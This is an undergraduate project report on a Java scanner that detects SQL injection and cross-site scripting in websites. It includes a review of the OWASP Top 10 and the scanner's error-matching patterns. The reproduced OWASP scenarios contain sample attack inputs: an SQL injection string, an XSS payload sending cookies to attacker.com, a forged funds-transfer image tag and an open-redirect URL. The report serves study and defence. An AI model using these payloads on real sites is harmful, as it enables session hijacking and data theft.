Vulnerability Scanner

A Project Report On Vulnerability Scanner Submitted By Mr. Shubham Jain Mr. Vipul Baid Ms. Neha Jain Mr. Mausam Jain Under Guidance of Prof. S.A.Paliwal Walchand Institute Of Technology, Solapur. Dept. of Computer Science And Engineering. (Affiliated to Solapur University) 2013-2014 D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 1

CERTIFICATE This is to certify the design of the project titled Vulnerability Scanner has been carried out by Following students of BE CSE. NAME ROLL NO Mr. Shubham Jain 37 Mr. Vipul Baid 08 Ms. Neha Jain 06 Mr. Mausam Jain 05 Is Hereby Approved In Partial Fulfillment For The Degree of Bachelor Of Computer Science and Engineering Prof. Dr. Mrs. S.S.Apte Head, CSE Dept. Prof. Mrs. S.A.Paliwal Project Guide Prof. Dr. S. A. Halkude (Principal) Dept. of Computer Science And Engineering. Walchand Institute Of Technology,Solapur. (Affiliated to Solapur University) 2013-2014 D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 2

Acknowledgement First and foremost, we would like to take this opportunity to express our deep gratitude to our guide Prof. Mrs.S.A.Paliwal for her guidance and moral support throughout this successful completion of our project. Last but not the least, we would like to thank our HOD Dr. Mrs. S. S. Apte and Principal Prof. S. A. Halkude, in general, for extending a helping hand at every juncture of need. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 3

TABLE OF CONTENTS 1) AbstraCT 2) IntroductioN Web application security Web vulnerability 3) Literature Reviews 4) Problem statement 5) Proposed Work 6) Design Architecture Diagrams Use-case diagram Sequence diagram 7) Algorithm 8) Snapshots 9) Limitations and future work 10) Conclusion 11) refrences D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 4

ABSTRACT As the popularity of the web increases and web applications become tools of everyday use, the role of web security has been gaining importance as well. The last years have shown a significant increase in the number of web-based attacks. Too many nouns web application security vulnerabilities result from generic input validation problems. Examples of such vulnerabilities are SQL injection and Cross-Site Scripting (XSS). Although the majority of web vulnerabilities are easy to understand and to avoid, many web developers are, unfortunately, not security-aware. As a result, there exist many web sites on the Internet that are vulnerable. This project implemented an automated vulnerability scanner that for the injection attacks. To this end, we implemented a system that automated scanned the injection attack vulnerabilities. Our system automatically analyzes web sites with the aim of finding exploitable SQL injection and XSS vulnerabilities. It is able to find many potentially vulnerable web sites. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 5

INTRODUCTION Web Application Security: Security is a critical part of your Web applications. Web applications by definition allow users access to a central resource the Web server and through it, to others such as database servers. By understanding and implementing proper security measures, you guard your own resources as well as provide a secure environment in which your users are comfortable working with your application. Web application security is a branch of Information Security that deals specifically with security of websites, web applications and web services. Web Security blocks web threats to reduce malware infections, decrease help desk incidents and free up valuable IT resources. It has more than 100 security and filtering categories, hundreds of web application and protocol controls, and 60-plus reports with customization and role-based access. You can easily upgrade to Web Security Gateway when desired to get social media controls, SSL inspection, data loss prevention (DLP) and inline, real-time security from Websense ACE (Advanced Classification Engine). Web Vulnerability: Vulnerability is a hole or a weakness in the application, which can be a design flaw or an implementation bug, that allows an attacker to cause harm to the stakeholders of an application. Stakeholders include the application owner, application users, and other entities D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 6

that rely on the application. The term "vulnerability" is often used very loosely. The Top Ten Vulnerabilities [1] that are updated by Open Web Application Security Projects are: Sql Injection: Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. Example Attack Scenarios: Scenario #1: The application uses untrusted data in the construction of the following vulnerable SQL call: String query = "SELECT * FROM accounts WHERE custid='" + request.getparameter("id") + "'"; Scenario #2: Similarly, an application s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)): Query HQLQuery = session.createquery( FROM accounts WHERE custid=' + request.getparameter("id") + "'"); In both cases, the attacker modifies the id parameter value in her browser to send: ' or '1'='1. For example: http://example.com/app/accountview?id=' or '1'='1 This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures. Broken Authentication and Session Management : Application function related to authentication and session management are D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 7

often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users identities. Example Attack Scenarios: Scenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL: http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPS KHCJUN2JV?dest=Hawaii An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card. Scenario #2: Application s timeouts aren t set properly. User uses a public computer to access site. Instead of selecting logout the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated. Cross-site Scripting (XSS): XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim s browser which can hijack user sessions, deface web sites, or redirect the user to malicious activity. Example Attack Scenario: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping: (String) page += "<input name='creditcard' type='text value='" + request.getparameter("cc") + "'>"; The attacker modifies the CC parameter in his browser to: D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 8

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo=' +document.cookie</script>'. This causes the victim s session ID to be sent to the attacker s website, allowing the attacker to hijack the user s current session. Insecure Indirect Reference Object: A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.. Example Attack Scenario: String query = "S ELECT * FROM accts WHERE account =?"; PreparedStatement ps tmt = connection.preparestatement(query, ); pstmt.setstring( 1, request.getparameter("acct")); ResultSet results = pstmt.executequery( ); The attacker simply modifies the acct parameter in her browser to send whatever account number she wants. If not properly verified, the attacker can access any user s account, instead of only the intended customer s account. http://example.com/app/accountinfo?acct=notmyacct Security Misconfiguration: Good security requires having a secure configuration configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 9

Example Attack Scenarios: Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over. Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she decompiles and reverse engineers to get all your custom code. She then finds a serious access control flaw in your application. Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide. Scenario #4: App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server. Sensitive Data Exposure : Many Web application do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser. Example Attack Scenarios Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this means it also decrypts this data automatically when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The system should have D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 10

encrypted the credit card numbers using a public key, and only allowed back-end applications to decrypt them with the private key. Scenario #2: A site simply doesn t use SSL for all authenticated pages. Attacker simply monitors network traffic (like an open wireless network), and steals the user s session cookie. Attacker then replays this cookie and hijacks the user s session, accessing the user s private data. Scenario #3: The password database uses unsalted hashes to store everyone s passwords. A file upload flaw allows an attacker to retrieve the password file. All of the unsalted hashes can be exposed with a rainbow table of precalculated hashes. Missing Function Level Access Control: Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization. Example Attack Scenarios Scenario #1: The attacker simply force browses to target URLs. The following URLs require authentication. Admin rights are also required for access to the admin_getappinfo page. http://example.com/app/getappinfo http://example.com/app/admin_getappinfo If an unauthenticated user can access either page, that s a flaw. If an authenticated, non-admin, user is allowed to access the admin_getappinfo page, this is also a flaw, and may lead the attacker to more improperly protected admin pages. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 11

Scenario #2: A page provides an action parameter to specify the function being invoked, and different actions require different roles. If these roles aren t enforced, that s a flaw. Cross Site Request Forgery (CSRF): A CSRF attack forces a logged-on victim s browser to send a forged HTTP request, including the victim s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.. Example Attack Scenario The application allows a user to submit a state changing request that does not include anything secret. For example: http://example.com/app/transferfunds?amount=1500 &destinationaccount=4673243243 So, the attacker constructs a request that will transfer money from the victim s account to the attacker s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker s control: <img src="http://example.com/app/transferfunds? amount=1500&destinationaccount=attackersacct# width="0" height="0" /> If the victim visits any of the attacker s sites while already authenticated to example.com, these forged requests will automatically include the user s session info, authorizing the attacker s request. Using Known Vulnerability Components: Component such as libraries, frameworks and other software modules, almost always run with full privileges. If a vulnerable component is D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 12

exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defences and enable a range of possible attacks and impacts. Example Attack Scenarios Component vulnerabilities can cause almost any type of risk imaginable, ranging from the trivial to sophisticated malware designed to target a specific organization. Components almost always run with the full privilege of the application, so flaws in any component can be serious, The following two vulnerable components were downloaded 22m times in 2011. Apache CXF Authentication Bypass By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.) Spring Remote Code Execution Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server. Every applicat ion using either of these vulnerable libraries is vulnerable to attack as both of these components are directly accessible by application users. Other vulnerable libraries, used deeper in an application, may be harder to exploit. Unvalidate Redirects and Forwards: Web application frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages. Example Attack Scenarios Scenario #1: The application has a page called redirect.jsp which takes a single parameter named url. The attacker crafts a malicious URL that D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 13

redirects users to a malicious site that performs phishing and installs malware. http://www.example.com/redirect.jsp?url=evil.com Scenario #2: The application uses forwards to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application s access control check and then forwards the attacker to administrative functionality for which the attacker isn t authorized. http://www.example.com/boring.jsp?fwd=admin.jsp D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 14

Literature Reviews: The rapid and tremendous growth of Information and Communication Technology (ICT) has increased access to web applications. This increased access has paved the way for disadvantageous security and vulnerable threats in the form of attacks in web applications. Various detection and prevention techniques have been proposed by researchers in the field of web applications and technologies development. Through relevant literature and existing research presents a viewpoint of different web application vulnerabilities and security threats and also outlines some open research issues in accordance to the state-of-the-art. The following diagram depicts these security layers as a holistic outlook that looks at security as hardened measures taken to minimize intrusion risks and maximize the protection around the key asset of any organization, its data[2]. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 15

Figures pointed out during various research: Vulnerabilities distributed per type: Figure presents the final distribution of vulnerabilities per type including the doubtful cases (i.e., optimistic evaluation of the scanners). As the doubtful cases only affect the SQL Injection, it means that the number of SQL injection vulnerabilities could be overestimated. Scanners have found 177 different vulnerabilities in 25 different services, which represent approximately 8.33% of the tested services. As mentioned before, the predominant vulnerability is SQL Injection, representing 84.18% of the vulnerabilities found. This is a very important observation due to the high number of cases found and the high severity of this vulnerability [3]. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 16

Web Application Vulnerability Statistics 2010-2013[4] Over the 3 years the following trends have been observed: A steady decline in input validation weaknesses has been observed. For example, Cross-Site Scripting affected 69% of applications in 2010, 66% in 2011, and 56% in 2012. Similarly, SQL Injection affected around 17% of applications in 2010 and 2011 and 15% of applications in 2012. Context believes that our clients are becoming more aware of the risks posed by these issues, and are implementing more robust data validation controls within applications and integrating these controls into the development lifecycle. Topping the average number of OWASP Top 10 issues in 2012 is once again Broken Authentication and Session Management. This generic category includes a large number of the issues we identify; however, these sometimes overlooked issues are fundamental to the security of web applications. Server misconfiguration and information-leakage vulnerabilities have been the most prevalent Context methodology category of issues identified in 2010, 2011 and 2012. This observation underlines a possible disconnect between robust application development and secure deployment of applications into production environments. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 17

In general, the proportion of issues identified during 2010, 2011 and 2012 remained roughly consistent throughout the period of study. In 2012 there has been a slight decline on the 2011 peak average numbers. However, a statistical analysis of these changes suggests that they may not be significant enough to represent an overall trend. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 18

Sector Analysis Between 2010 and 2012 Context performed penetration tests for companies operating across a broad range of business sectors. For the purposes of trying to discover whether any particular industry used web applications that were more susceptible than others to security issues, we have used the following industry groupings: Media and Advertising, UK Government (the dataset does not include classified government findings), Healthcare, Technology and Telecommunications, Insurance and Law, Financial Services (Europe); and Other (a group including organisations in the charity, not-for-profit, education, extraction, gambling, recruitment, and services sectors). Overview by Year D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 19

In 2010, most sectors had an average issue count between 11 and 14 issues per application. The notable exception was the Media and Advertising sector, which had roughly 40% more issues per application than the sector with the next highest count. Additionally, for most sectors, the vulnerability categories which accounted for the highest proportion of the total issues found were the Information Leakage, Authentication, and Server Configuration categories. Overall, slightly more issues were seen in 2011 than in 2010, with most sectors experiencing 11 to 16 issues detected per application, while the organisations in the Other grouping experienced an average of 17. Again, Information Leakage, Authentication, and Server Configuration issues accounted for the largest proportion of vulnerabilities found per application in most sector groupings. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 20

The average numbers of issues seen in 2012 as per the Jon Tudor [4] stayed in the 11 to 16 vulnerabilities per application range, apart from in Healthcare, where the figure dropped to 10. The same three vulnerability categor1ies made up the largest proportion of the overall total as in the previous two year. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 21

ProBLEM STATEMENT Development of Scanner for detecting vulnerabilities to protect the website from web-based attacks. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 22

Proposed Work: Vulnerabilities Scanner basically software designed in java platform that aims to scan the Website s and finding out vulnerabilities that sustains in the websites and providing report to the client. Scanner is going to take the URL of the website as an input, to test for vulnerabilities as per the selected vulnerability. It will check whether the website exists in the domain or not. If not, it will ask the user to enter a valid website. It checks whether the website really exists or not by checking its status code. If status code is 404 the URL does not exist. For a valid URL, it will crawl the Website with the help of our own developed Crawler basic_crawler basically made in Java. The Crawler will parse the website. The output of this phase is multiple frameworks, form details and platform used in developing web pages of respective website. After parsing the website, Scanner will test all the forms and links of the website for the vulnerabilities. The Scanner is scanning for two top most vulnerabilities [1] i.e. SQL Injection and Cross Site Scripting. It has different criteria s for both SQL Injection and Cross Site Scripting. SQL INJECTION: To check for SQL injection the scanner creates two test cases. Automatic Insertion of 1 in every textbox available in the web form. Modifying the URL by replacing = = D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 23

After preparing the test cases, cases are passed to every links and web forms of inputted website. With these test cases, the test will be performed on the website. Scanner will build the HTTP request to send it to the respective URL and in response URL will give HTTP response. The response will contain all the details and the test will be performed on these details. If any kind of syntax error is found as per a database server in response text or any internal error in a webform is found then that particular webform or link is vulnerable to SQL Injection. To check for the syntax error the scanner has all the patterns of syntax error in the pattern.xml file. If any of the pattern found in response text is matched with the patterns in pattern.xml file then the particular webform is vulnerable to SQL Injection. The list of patterns in pattern.xml file are[5]: ^.*\s(\d\d\d)\s ^(.*)$ ^Location: (.*)$ (?i)(incorrect\ssyntax\snear\s'[^']*') (?i)(pg_query\(\)[:]*\squery\sfailed:\serror:\s) (?i)('[^']*'\sis\snull\sor\snot\san\sobject) (ORA-\d{4,5}:\s) (?i)(microsoft\sjet\sdatabase\sengine\s\([^\)]*\)<br>syntax\serror(.*)\sin\s query\sexpression\s'.*\.<br><b>.*,\sline\s\d+</b><br>) (?i)(<h2>\s<i>syntax\serror\s(\([^\)]*\))?(in\sstring)?\sin\squery\sexpression \s'[^\.]*\.</i>\s</h2></span>) (?i)(<font\sface=\"arial\"\ssize=2>syntax\serror\s(.*)?in\squery\sexpression \s'(.*)\.</font>) (?i)(<b>warning</b>:\s\spg_exec\(\)\s\[\<a\shref='function.pg\- exec\'\>function\.pg-exec\</a>\]\:\squery failed:\serror:\s\ssyntax error at or near &quot\;\\\" at character \d+ in\s<b>.*</b>) D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 24

(?)(System\.Data\.OleDb\.OleDbException\:\sSyntax\serror\s\([^)]*?\)\sin\sq uery\sexpression\s.*) (?i)(system\.data\.oledb\.oledbexception\:\ssyntax\serror\sin\sstring\sin\s query\sexpression\s) (?i)(data type mismatch in criteria expression Could not update; currently locked by user '.*?' on machine '.*?') (<font style="color: black; FONT: 8pt/11pt verdana">\s+(\[macromedia\]\[sqlserver\sjdbc\sdriver\]\[sqlserver\] S yntax\serror\sin\sstring\sin\squery\sexpression\s)) (?i)(unclosed\squotation\smark\safter\sthe\scharacter\sstring\s'[^']*') <b>warning</b>:\s+(?:mysql_fetch_array mysql_fetch_row mysql_fetch_o bject mysql_fetch_field mysql_fetch_lengths mysql_num_rows)\(\): supplied argument is not a valid MySQL result resource in <b>.*?</b> on line <b>.*?</b> <b>warning</b>: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in <b>warning</b>: mysql_num_row(): supplied argument is not a valid MySQL result resource in <b>warning</b>: mysql_fetch_field(): supplied argument is not a valid MySQL result resource in <b>warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>warning</b>: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in <b>warning</b>: mysql_fetch_length(): supplied argument is not a valid MySQL result resource in You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near <b>warning</b>: mysql_fetch_array() System.Data.SqlClient.SqlException: Incorrect syntax near UnknownError:java.net.UnknownHostException: D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 25

As per the output of these test will decide whether the site is vulnerable or not to a respective vulnerability. CROSS SITE SCRIPTING: To check for cross site scripting (XSS) the scanner creates a test case: Automatic Insertion of <script>document. write( css attack )</script> in every textbox available in the web form. After preparing the test cases, cases are passed to every links and web forms of inputted website. With these test cases, the test will be performed on the website. Scanner will build the HTTP request to send it to the respective URL and in response URL will give HTTP response. The response will contain all the details and the test will be performed on these details. If the same inputted content <script>document. write( css attack )</script> is found in response text then that particular webform or link is vulnerable to cross site scripting. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 26

Architecture DATA FLOW DIAGRAM (DFD): DESIGN: Level 0 : Context Level 0 shows the over view of the software. The client will provide url of the website to be tested and what kind of test to be performed on it.the system will build the crafted request with the help of test criterias. The build crafted request is send to the server and scanner analyzes the response return by the web server and report will be send to client. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 27

Level 1: System Architecture Level 1 is basically the architectur e of the system i.e software.it has three module i.e. GUI Module, Vulnerability Test Module, Website Client Module. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 28

Level 2: GUI Module Graphical User Interface Module is basically a user interface of the software where user will input the url of the website and test to be performed on it. After the test is completed the result is shown here. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 29

Vulnerability Test Module Vulnerability Test Module is a module in which crawling of the website, preparing test cases and analyzing the response that is sent by the web server is done. For eg. To check whether SQL injection attacks are possible, the vulnerability scanners send modified requests and analyze the responses returned by the server. A server may respond with a rejection page or with an execution page. A rejection page corresponds to the detection of syntactically incorrect or invalid inputs. An execution page is returned by the server as a consequence of a successful execution of the request. This page may correspond to the normal scenario, i.e., in the case of a legitimate use of the web site, but may also result from a successful exploitation of an injection attack D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 30

Web-Client Module In this module, the scanner will build the crafted HttpRequest with the help of test cases and it is sent to web server and in return web server sends response to Web-Client Module and it than parses the response and sends the parse response to the Vulnerability Test Module where the response is analysed. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 31

DIAGRAM 1. Use-Case level Diagram: D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 32

2. Sequence Diagram D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 33

1. Start Algorithm 2. Enter the URL. 3. Select the type of vulnerability you want to scan for: Default: checks for sql injection and cross site scripting both. Sql Injection: checks for sql injection. XSS: checks for cross site scripting. 4. Start scanning. 5. Check for the given conditions according to the selected vulnerability scan. 6. After observing the conditions of the selected vulnerability prepare a report. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 34

Snapshots Output: D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 35

Report: DemO: Actual Site: D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 36

Modifying the url by : For XSS: D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 37

LIMITATIONS AND Future Work While our initial evaluation demonstrate the promise of a context - aware approach to vulnerability scanning, it does highlight several limitations which form the foundation for future work in this area. First, we are not providing the patch for the detected vulnerable URL. To overcome this, we are planning to generate the patches and providing solutions in future. Second, rich area for future work is exploration of many more vulnerabilities, detecting them and providing solutions. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 38

CONCLUSION In this report, we presented a Vulnerability scanner that aimed at detecting web application vulnerabilities. We have introduced our own crawler name basic_crawler and described how the website is vulnerable to SQL Injection and XSS based on automatically generation of specially crafted request allowing the successful exploitation of detected vulnerabilities. D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 39

References: [1] https://www.owasp.org/index.php/top_10_2013 [2] Kevin J Vella, The True Nature of Web Application Security: The Role and Function of Black Box Scanners 21 Feb. 2007 ; http://www.acunetix.com/websitesecurity/blackbox-scanners/ [3] Vieira, Using Web Security Scanners to Detect Vulnerabilities in Web Services ; IEEE/IFIP Intl Conf. on Dependable Systems and Networks, DSN 2009, Lisbon, Portugal, June 2009; http://eden.dei.uc.pt/~mvieira [4] Jan Tudor, Web Application Vulnerability Statistics 2013 ; June2013; whitepapers@contextis.co.uk [5] Accunetix Tools D E P A R T M E N T O F C O M P U T E R S C I E N C E B E C S E Page 40